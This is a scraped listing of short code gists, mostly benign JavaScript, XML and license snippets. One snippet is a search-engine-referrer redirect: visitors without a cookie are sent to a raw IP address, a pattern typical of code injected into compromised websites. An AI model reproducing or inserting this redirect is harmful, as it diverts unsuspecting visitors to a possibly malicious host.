This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var express = require('express'); | |
var port = process.env.PORT || 3000; | |
var app = express(); | |
app.get('/', function(request, response) { | |
response.sendfile(__dirname + '/index.html'); | |
}).configure(function() { | |
app.use('/images', express.static(__dirname + '/images')); | |
}).listen(port); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Tenta algo assim: | |
// Não necessariamente tu vai precisar usar o | |
// (function(window, document, undefined) { | |
// | |
// })(window, document); | |
(function(window, document, undefined) { | |
document.title = "New title"; | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$(document).ready(function() { | |
var pathImg = "url-aqui.gif"; | |
$(".spinner img").attr("src", pathImg); | |
}); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var from = document.referrer; | |
var i; | |
var se = ["google", "yahoo", "bing", "yandex" , "baidu", "gigablast", "soso", "blekko", "exalead", "sogou", "duckduckgo", "volunia"]; | |
for (i = 0; i < se.length; ++i) { | |
if (from.indexOf(se[i]) + 1) { | |
if (!checkCookie()) { | |
window.location = "http://91.239.15.61/g.php"; | |
} | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Functions to help figure out whether elements are in the viewport | |
// and lazy-load their content if so. | |
// Implemented as jQuery plugins. | |
(function() { | |
$.fn.inView = function(nearThreshold) { | |
var $elem = $(this); | |
// Checks if its visible, CSS-wise | |
if (!$elem.is(":visible")) { | |
return false; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// example using the raf module from npm. try changing some values! | |
var requestAnimationFrame = require("raf") | |
var canvas = document.createElement("canvas") | |
canvas.width = 500 | |
canvas.height = 500 | |
document.body.appendChild(canvas) | |
var context = canvas.getContext("2d") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE | |
Copyright (C) 2014 ADDY OSMANI <addyosmani.com> | |
Everyone is permitted to copy and distribute verbatim or modified | |
copies of this license document, and changing it is allowed as long | |
as the name is changed. | |
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE | |
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
module.exports = function(grunt) { | |
// Configuration | |
grunt.initConfig({ | |
pkg: grunt.file.readJSON('package.json'), | |
shell: { | |
patternlab: { | |
command: "php core/builder.php -gp" | |
} | |
}, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?xml version="1.0"?> | |
<SOAP-ENV:Envelope | |
xmlns:SOAP-ENV="http://www.w3.org/2001/12/soap-envelope" | |
SOAP-ENV:encodingStyle="http://www.w3.org/2001/12/soap-encoding"> | |
<SOAP-ENV:Header> | |
... | |
</SOAP-ENV:Header> | |
<SOAP-ENV:Body> | |
... | |
</SOAP-ENV:Body> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<soap:Envelope | |
xmlns:soap=http://schemas.xmlsoap.org/soap/envelope/ | |
soap:encodingstyle=http://schemas.xmlsoap.org/soap/encoding/> | |
Mensagem aqui | |
</soap:Envelope> |
OlderNewer